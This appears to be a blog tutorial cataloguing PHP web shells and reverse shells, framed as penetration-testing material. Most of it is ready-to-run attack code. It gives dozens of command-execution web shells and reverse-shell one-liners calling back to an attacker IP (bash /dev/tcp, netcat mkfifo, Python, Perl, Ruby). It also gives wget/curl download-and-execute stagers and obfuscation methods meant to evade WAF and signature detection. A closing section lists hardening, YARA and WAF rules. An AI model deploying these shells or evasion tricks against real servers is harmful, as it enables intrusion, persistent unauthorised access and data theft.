The Complete Guide to PHP Web Shell and Reverse Shell Techniques: 45+ Methods for Penetration Testing (2025)
Updated on November 27, 2025
Meta Description: Master 45+ PHP web shell and reverse shell techniques for authorized penetration testing. Learn command execution methods, obfuscation tactics, and defense strategies with ready-to-use code examples.
Table of Contents
- Introduction to Web Shells and Reverse Shells
- Web Shell Execution Techniques (20+ Methods)
- Reverse Shell Connection Methods (25+ Techniques)
- Obfuscation and Evasion Techniques
- MITRE ATT&CK Framework Mapping
- Detection and Defense Strategies
Introduction to Web Shells and Reverse Shells
Web shells and reverse shells are critical tools in penetration testing and red team operations, allowing security professionals to assess the resilience of web applications and server environments against unauthorized access. Understanding these techniques is essential for both offensive security practitioners conducting authorized assessments and defensive teams building robust detection mechanisms.
What is a Web Shell?
A web shell is a script uploaded to a web server that enables remote command execution through HTTP requests. These shells provide attackers—or penetration testers—with persistent access to compromised systems, allowing them to execute arbitrary commands, upload/download files, and pivot to other systems.
What is a Reverse Shell?
A reverse shell is a connection initiated from the target system back to the attacker's machine. Unlike bind shells (which open listening ports on the target), reverse shells bypass firewall restrictions by establishing outbound connections, which are typically less restricted in corporate environments.
Legal and Ethical Considerations
WARNING: All techniques described in this article are for authorized penetration testing and educational purposes only. Unauthorized access to computer systems is illegal under laws such as the Computer Fraud and Abuse Act (CFAA) in the United States and similar legislation worldwide.
Web Shell Execution Techniques (20+ Methods)
PHP provides numerous functions for executing system commands, each with different behaviors and security implications. Understanding these variations is crucial for comprehensive security testing. Check out our [Internal Penetration Testing Guide] for more foundational concepts.
1. Direct Command Execution Functions
system() - Output Directly to Browser
The system() function executes external programs and displays output directly:
<?php
// Basic system() webshell
if(isset($_GET['cmd'])) {
system($_GET['cmd']);
}
?>
Usage Example:
http://target.com/shell.php?cmd=whoami
Detection Signature: High - commonly flagged by WAF/IDS
MITRE ATT&CK: T1059.004 (Command and Scripting Interpreter: Unix Shell)
shell_exec() - Return Output as String
The shell_exec() function returns command output as a string rather than displaying it directly:
<?php
// shell_exec() webshell
if(isset($_GET['cmd'])) {
$output = shell_exec($_GET['cmd']);
echo "<pre>$output</pre>";
}
?>
Advantages:
- Output can be processed before display
- Supports output manipulation and filtering
- Can be used in more complex scripts
exec() - Line-by-Line Output
The exec() function returns output as an array, with each line as a separate element:
<?php
// exec() webshell with array output
if(isset($_POST['cmd'])) {
exec($_POST['cmd'], $output, $return_code);
echo "Exit Code: $return_code<br>";
echo "<pre>" . implode("\n", $output) . "</pre>";
}
?>
Key Feature: Returns exit status code, useful for error handling
passthru() - Binary-Safe Execution
The passthru() function is designed for binary output and passes data directly to the browser:
<?php
// passthru() for binary data
if(isset($_GET['cmd'])) {
passthru($_GET['cmd']);
}
?>
Use Case: Ideal for executing commands that output binary data (images, compressed files)
2. Advanced Process Management Functions
proc_open() - Full Process Control
The proc_open() function provides comprehensive process control with separate handles for STDIN, STDOUT, and STDERR:
<?php
// proc_open() webshell with full I/O control
if(isset($_POST['cmd'])) {
$descriptorspec = array(
0 => array("pipe", "r"), // stdin
1 => array("pipe", "w"), // stdout
2 => array("pipe", "w") // stderr
);
$process = proc_open($_POST['cmd'], $descriptorspec, $pipes);
if (is_resource($process)) {
fclose($pipes[0]);
$stdout = stream_get_contents($pipes[1]);
$stderr = stream_get_contents($pipes[2]);
fclose($pipes[1]);
fclose($pipes[2]);
$return_value = proc_close($process);
echo "<h3>STDOUT:</h3><pre>$stdout</pre>";
echo "<h3>STDERR:</h3><pre>$stderr</pre>";
echo "<h3>Exit Code: $return_value</h3>";
}
}
?>
Advanced Features:
- Separate error handling
- Interactive process communication
- Environment variable control
popen() - Pipe-Based Execution
The popen() function opens a pipe to a process for reading or writing:
<?php
// popen() webshell with streaming output
if(isset($_GET['cmd'])) {
$handle = popen($_GET['cmd'], 'r');
if ($handle) {
while (!feof($handle)) {
echo fread($handle, 1024);
flush(); // Send output immediately
}
pclose($handle);
}
}
?>
Use Case: Real-time output streaming for long-running commands
pcntl_exec() - Direct Process Replacement
The pcntl_exec() function replaces the current PHP process with a new program:
<?php
// pcntl_exec() - replaces current process
// WARNING: This terminates the PHP script
if(isset($_GET['cmd'])) {
$cmd_parts = explode(' ', $_GET['cmd']);
$program = $cmd_parts[0];
$args = array_slice($cmd_parts, 1);
pcntl_exec($program, $args);
}
?>
Limitation: Requires PCNTL extension (typically disabled in shared hosting)
3. Code Evaluation Functions
eval() - Dynamic PHP Code Execution
The eval() function executes PHP code from strings:
<?php
// eval() webshell - executes PHP code
if(isset($_POST['code'])) {
eval($_POST['code']);
}
?>
Example Payload:
POST data: code=system('id');
Security Risk: Extremely dangerous - allows arbitrary PHP code execution
MITRE ATT&CK: T1059.006 (Command and Scripting Interpreter: PHP)
assert() - Alternative Code Execution
The assert() function can execute PHP code when used improperly:
<?php
// assert() webshell (PHP < 7.2)
if(isset($_REQUEST['code'])) {
assert($_REQUEST['code']);
}
?>
Note: Deprecated in PHP 7.2+ for code execution, but still present in legacy systems
preg_replace() with /e Modifier
The deprecated /e modifier in preg_replace() allowed code execution:
<?php
// preg_replace /e modifier (PHP < 7.0)
if(isset($_GET['code'])) {
preg_replace('/.*/e', $_GET['code'], '');
}
?>
Status: Removed in PHP 7.0, but present in older systems
Detection Pattern: /e modifier in preg_replace is a strong malware indicator
create_function() - Dynamic Function Creation
The create_function() function creates anonymous functions that can execute arbitrary code:
<?php
// create_function() webshell (deprecated PHP 7.2+)
if(isset($_POST['code'])) {
$func = create_function('', $_POST['code']);
$func();
}
?>
Example Payload:
POST data: code=system('whoami');
4. Callback and Array Functions
array_map() - Callback Execution
The array_map() function applies a callback to array elements:
<?php
// array_map() webshell
if(isset($_GET['cmd'])) {
array_map('system', array($_GET['cmd']));
}
?>
Evasion Technique: Less commonly detected than direct system() calls
array_filter() - Conditional Callback
Similar to array_map(), but with filtering logic:
<?php
// array_filter() webshell
if(isset($_REQUEST['cmd'])) {
array_filter(array($_REQUEST['cmd']), 'system');
}
?>
usort() - Sorting with Code Execution
The usort() function can be abused when the comparison function is user-controlled:
<?php
// usort() webshell
if(isset($_GET['cmd'])) {
usort(array($_GET['cmd']), 'system');
}
?>
5. Backtick Operator
The backtick operator provides shell command execution similar to shell_exec():
<?php
// Backtick operator webshell
if(isset($_GET['cmd'])) {
$output = `{$_GET['cmd']}`;
echo "<pre>$output</pre>";
}
?>
Syntax Alternative:
<?php
// Shorter syntax
echo `whoami`;
?>Reverse Shell Connection Methods (25+ Techniques)
Reverse shells establish connections from the target back to the attacker, bypassing firewall restrictions. If you're studying for certifications, see our list of [Recommended Security Certifications].
1. PHP Socket Functions
fsockopen() + proc_open() - Classic Method
The most reliable PHP reverse shell combines fsockopen() for networking and proc_open() for shell execution:
<?php
// fsockopen + proc_open reverse shell
$ip = '10.10.10.10';
$port = 4444;
$sock = fsockopen($ip, $port);
$descriptors = array(
0 => $sock, // stdin
1 => $sock, // stdout
2 => $sock // stderr
);
$process = proc_open('/bin/sh -i', $descriptors, $pipes);
proc_close($process);
?>
Listener Setup:
# On attacker machine
nc -nlvp 4444
MITRE ATT&CK: T1071.001 (Application Layer Protocol)
fsockopen() + File Descriptor Redirection
Redirect file descriptors for a simpler approach:
<?php
// fsockopen + exec with fd3 redirection
$ip = '10.10.10.10';
$port = 4444;
$sock = fsockopen($ip, $port);
exec("/bin/sh -i <&3 >&3 2>&3");
?>
Explanation: File descriptor 3 is redirected to the socket for bidirectional communication
socket_create() - Low-Level Socket Control
Using PHP's socket extension for raw socket manipulation:
<?php
// socket_create() reverse shell
$ip = '10.10.10.10';
$port = 4444;
$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_connect($sock, $ip, $port);
socket_write($sock, "[+] Connected\n");
while ($cmd = socket_read($sock, 2048)) {
$output = shell_exec(trim($cmd));
socket_write($sock, $output);
}
socket_close($sock);
?>
Advantage: Works when fsockopen() is disabled
stream_socket_client() - Alternative Socket API
Modern PHP socket implementation:
<?php
// stream_socket_client() reverse shell
$ip = '10.10.10.10';
$port = 4444;
$sock = stream_socket_client("tcp://{$ip}:{$port}");
if ($sock) {
$descriptors = array(
0 => $sock,
1 => $sock,
2 => $sock
);
$process = proc_open('/bin/sh -i', $descriptors, $pipes);
proc_close($process);
}
?>
2. Bash /dev/tcp Techniques
Linux systems support TCP connections via the /dev/tcp pseudo-device:
Basic /dev/tcp Reverse Shell
<?php
// Bash /dev/tcp reverse shell via system()
$ip = '10.10.10.10';
$port = 4444;
system("/bin/bash -c 'bash -i >& /dev/tcp/{$ip}/{$port} 0>&1'");
?>
How It Works:
bash -i: Interactive bash shell>&: Redirects stdout and stderr/dev/tcp/IP/PORT: Special file representing TCP connection0>&1: Redirects stdin to stdout (socket)
/dev/tcp with exec()
<?php
// exec() variant for /dev/tcp
$ip = '10.10.10.10';
$port = 4444;
exec("/bin/bash -c 'bash -i >& /dev/tcp/{$ip}/{$port} 0>&1'");
?>
/dev/tcp with shell_exec()
<?php
// shell_exec() variant
$ip = '10.10.10.10';
$port = 4444;
shell_exec("/bin/bash -c 'bash -i >& /dev/tcp/{$ip}/{$port} 0>&1'");
?>
/dev/tcp with popen()
<?php
// popen() variant for backgrounding
$ip = '10.10.10.10';
$port = 4444;
popen("/bin/bash -c 'bash -i >& /dev/tcp/{$ip}/{$port} 0>&1'", 'r');
?>
Advantage: Non-blocking execution
3. Netcat (nc) Techniques
Netcat is the "Swiss Army knife" of networking tools:
Named Pipe (mkfifo) Method
<?php
// nc mkfifo reverse shell
$ip = '10.10.10.10';
$port = 4444;
system("rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc {$ip} {$port} > /tmp/f");
?>
Explanation:
- Create named pipe
/tmp/f - Read from pipe and pass to shell
- Send shell output to netcat
- Netcat output written back to pipe (creates loop)
nc -e Method (Traditional)
<?php
// nc -e reverse shell (if nc supports -e)
$ip = '10.10.10.10';
$port = 4444;
exec("nc -e /bin/sh {$ip} {$port}");
?>
Note: The -e flag is disabled in many nc distributions for security reasons
ncat with -e (Nmap's Netcat)
<?php
// ncat -e reverse shell (Nmap version)
$ip = '10.10.10.10';
$port = 4444;
system("ncat -e /bin/sh {$ip} {$port}");
?>
4. Language-Specific One-Liners
Python Reverse Shell
<?php
// Python 2 reverse shell
$ip = '10.10.10.10';
$port = 4444;
$python = "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{$ip}\",{$port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'";
exec($python);
?>
Python 3 Reverse Shell
<?php
// Python 3 reverse shell
$ip = '10.10.10.10';
$port = 4444;
$python3 = "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{$ip}\",{$port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'";
exec($python3);
?>
Perl Reverse Shell
<?php
// Perl reverse shell
$ip = '10.10.10.10';
$port = 4444;
$perl = "perl -e 'use Socket;\$i=\"{$ip}\";\$p={$port};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'";
exec($perl);
?>
Ruby Reverse Shell
<?php
// Ruby reverse shell
$ip = '10.10.10.10';
$port = 4444;
$ruby = "ruby -rsocket -e 'exit if fork;c=TCPSocket.new(\"{$ip}\",{$port});while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'";
exec($ruby);
?>
PHP -r (PHP CLI) Reverse Shell
<?php
// PHP -r one-liner (executed via system)
$ip = '10.10.10.10';
$port = 4444;
system("php -r '\$sock=fsockopen(\"{$ip}\",{$port});exec(\"/bin/sh -i <&3 >&3 2>&3\");'");
?>
Use Case: When PHP CLI is available but web server restricts certain functions
5. File Download and Execute (Stagers)
wget Stager
<?php
// wget download and execute stager
$ip = '10.10.10.10';
system("wget http://{$ip}/shell.elf -O /tmp/shell && chmod +x /tmp/shell && /tmp/shell");
?>
Attacker Setup:
# Host payload
python3 -m http.server 80
# Start listener
nc -nlvp 4444
MITRE ATT&CK: T1105 (Ingress Tool Transfer)
curl Stager
<?php
// curl download and execute stager
$ip = '10.10.10.10';
exec("curl http://{$ip}/shell.elf -o /tmp/shell && chmod +x /tmp/shell && /tmp/shell");
?>
wget to /dev/shm (Memory-Based Staging)
<?php
// wget to /dev/shm (tmpfs - no disk writes)
$ip = '10.10.10.10';
system("wget http://{$ip}/shell.php -O /dev/shm/shell.php && php /dev/shm/shell.php");
?>
Evasion Benefit: /dev/shm is a tmpfs mount (RAM-based), leaving minimal forensic traces
Obfuscation and Evasion Techniques
Modern WAFs and IDS solutions employ signature-based detection, making obfuscation essential for testing security controls.
1. Base64 Encoding
Basic Base64 Obfuscation
<?php
// Base64 encoded webshell
$encoded = 'c3lzdGVt'; // base64('system')
$func = base64_decode($encoded);
if(isset($_GET['cmd'])) {
$func($_GET['cmd']); // Executes system($_GET['cmd'])
}
?>
Detection Evasion: Bypasses simple string-matching signatures
Multi-Layer Base64 Encoding
<?php
// Double Base64 encoding
$encoded = 'YzNsemRHVnQ='; // base64(base64('system'))
$func = base64_decode(base64_decode($encoded));
if(isset($_POST['c'])) {
$func($_POST['c']);
}
?>
Complexity: Each additional layer increases evasion but also processing overhead
Base64 with String Manipulation
<?php
// Base64 with str_rot13 obfuscation
$obfuscated = 'flfgrz'; // rot13('system')
$encoded = base64_encode($obfuscated);
$decoded = base64_decode($encoded);
$func = str_rot13($decoded); // Returns 'system'
$func($_REQUEST['cmd']);
?>
Layered Evasion: Combines multiple encoding schemes
2. String Manipulation Techniques
String Concatenation
<?php
// String concatenation to break signatures
$s = 'sy' . 'st' . 'em';
if(isset($_GET['cmd'])) {
$s($_GET['cmd']);
}
?>
Bypass: Defeats simple regex patterns looking for 'system'
Character Array Assembly
<?php
// Assemble function name from character array
$chars = array('s','y','s','t','e','m');
$func = implode('', $chars);
$func($_REQUEST['cmd']);
?>
Hexadecimal Encoding
<?php
// Hex-encoded function name
$hex = '\x73\x79\x73\x74\x65\x6d'; // system
eval("\$func = '$hex';");
$func($_GET['c']);
?>
chr() Function Assembly
<?php
// Build function name using chr()
$func = chr(115).chr(121).chr(115).chr(116).chr(101).chr(109); // system
if(isset($_GET['x'])) {
$func($_GET['x']);
}
?>
3. Variable Function Calls
Indirect Function Invocation
<?php
// Variable function call
$a = 'system';
$b = 'cmd';
if(isset($_GET[$b])) {
$a($_GET[$b]);
}
?>
Evasion: Function name never appears as a literal string
Dynamic Function Name Construction
<?php
// Dynamic construction
$prefix = 'sys';
$suffix = 'tem';
$func = $prefix . $suffix;
$func($_REQUEST['c']);
?>
4. Callback Obfuscation
call_user_func() Wrapper
<?php
// call_user_func obfuscation
if(isset($_GET['cmd'])) {
call_user_func('system', $_GET['cmd']);
}
?>
Alternative:
<?php
// call_user_func with array
call_user_func(array('system'), $_POST['x']);
?>
call_user_func_array()
<?php
// call_user_func_array obfuscation
if(isset($_REQUEST['c'])) {
call_user_func_array('system', array($_REQUEST['c']));
}
?>
5. Advanced Obfuscation: String Reversal
<?php
// String reversal obfuscation
$reversed = 'metsys'; // 'system' reversed
$func = strrev($reversed);
if(isset($_GET['cmd'])) {
$func($_GET['cmd']);
}
?>
Combined with Base64:
<?php
// Reversed + Base64
$obfuscated = base64_encode(strrev('system'));
// Later decode:
$func = strrev(base64_decode($obfuscated));
$func($_GET['c']);
?>
6. Compression-Based Obfuscation
gzdeflate/gzinflate
<?php
// Compressed payload
$compressed = gzdeflate('<?php system($_GET["cmd"]); ?>');
$encoded = base64_encode($compressed);
// Execution:
eval(gzinflate(base64_decode($encoded)));
?>
Size Benefit: Reduces payload size while adding obfuscation layer
7. Comment Injection (SQL Injection Style)
<?php
// Comment injection to break patterns
$func = 'sys'.'/*comment*/'.'tem';
$func($_GET['c']);
?>
Note: Works in string concatenation contexts
8. Unicode and Encoding Tricks
URL Encoding
<?php
// URL-encoded function name
$encoded = 'system';
$func = urldecode($encoded);
$func($_REQUEST['cmd']);
?>
HTML Entity Encoding
<?php
// HTML entities (less effective in PHP)
$func = html_entity_decode('system');
$func($_GET['c']);
?>
9. Polymorphic Code Generation
<?php
// Generate random variable names
$var1 = 'func_' . md5(time());
$$var1 = 'system';
if(isset($_GET['c'])) {
$$var1($_GET['c']);
}
?>
Advanced Evasion: Each execution generates different variable names
10. Environment Variable Abuse
<?php
// Store function name in environment
putenv('FUNC=system');
$func = getenv('FUNC');
$func($_REQUEST['cmd']);
?>
MITRE ATT&CK Framework Mapping
Understanding how these techniques map to MITRE ATT&CK helps organizations prioritize detection and response.
Execution (TA0002)
| Technique ID | Name | Shell Methods |
|---|---|---|
| T1059.004 | Unix Shell | system(), exec(), shell_exec(), /dev/tcp |
| T1059.006 | Python | Python reverse shells |
| T1059.007 | JavaScript | (Node.js variants not covered) |
| T1059 | Command and Scripting Interpreter | All command execution methods |
Command and Control (TA0011)
| Technique ID | Name | Shell Methods |
|---|---|---|
| T1071.001 | Web Protocols | HTTP-based webshells |
| T1071.002 | File Transfer Protocols | wget/curl stagers |
| T1095 | Non-Application Layer Protocol | Raw socket shells |
| T1571 | Non-Standard Port | Reverse shells on custom ports |
Defense Evasion (TA0005)
| Technique ID | Name | Obfuscation Methods |
|---|---|---|
| T1027 | Obfuscated Files or Information | Base64, encoding, compression |
| T1027.002 | Software Packing | gzdeflate/gzinflate |
| T1140 | Deobfuscate/Decode Files or Information | base64_decode, gzinflate |
| T1564.001 | Hidden Files and Directories | /dev/shm staging |
Persistence (TA0003)
| Technique ID | Name | Implementation |
|---|---|---|
| T1505.003 | Web Shell | All webshell techniques |
| T1053 | Scheduled Task/Job | Cron-based persistence (not covered) |
Detection and Defense Strategies
1. Function Monitoring and Restrictions
php.ini Hardening:
; Disable dangerous functions
disable_functions = system,exec,shell_exec,passthru,popen,proc_open,pcntl_exec,eval,assert,create_function
Detection Pattern:
Monitor for:
- Multiple failed function calls (indicates disabled_functions bypass attempts)
- Unusual parameter patterns in remaining functions
- Base64-decoded strings containing PHP code
2. Entropy Analysis
High entropy indicates encrypted or encoded content:
# Python entropy detection
import math
from collections import Counter
def calculate_entropy(data):
if not data:
return 0
entropy = 0
for count in Counter(data).values():
p_x = count / len(data)
entropy -= p_x * math.log2(p_x)
return entropy
# Typical thresholds:
# Plain PHP: 3.5-4.5
# Base64: 5.5-6.5
# Encrypted/Compressed: 7.0-8.0
3. AST (Abstract Syntax Tree) Analysis
Parse PHP code structure to detect malicious patterns:
// Detection: Look for patterns like
eval(base64_decode(...))
eval(gzinflate(...))
preg_replace('/.*/e', ...)
4. Behavioral Detection
Monitor System Calls:
# Auditd rule for PHP shell detection
-a exit,always -F arch=b64 -S execve -F uid=33 -k php_exec
Network Connection Monitoring:
# Detect outbound connections from PHP processes
lsof -i -n -P | grep php
netstat -anp | grep php
5. WAF Rules
ModSecurity Example:
# Block common webshell patterns
SecRule REQUEST_FILENAME|ARGS "@rx (?i)(eval|base64_decode|gzinflate|system|exec|shell_exec)" \
"id:1001,phase:2,deny,status:403,log,msg:'Potential webshell detected'"
6. File Integrity Monitoring
# AIDE configuration for web directories
/var/www/html R+b+sha256
# Tripwire monitoring
/var/www -> $(SEC_WEB) ;
7. Yara Rules for Webshell Detection
rule php_webshell_functions
{
strings:
$func1 = "system(" nocase
$func2 = "shell_exec(" nocase
$func3 = "eval(" nocase
$param = "$_GET" nocase
$param2 = "$_POST" nocase
$param3 = "$_REQUEST" nocase
condition:
2 of ($func*) and 1 of ($param*)
}
rule php_obfuscated_base64
{
strings:
$decode = "base64_decode(" nocase
$eval = "eval(" nocase
condition:
all of them
}
Enjoyed this guide? Share your thoughts below and tell us how you leverage PHP Web Shell and Reverse Shell Techniques in your projects!


No comments:
Post a Comment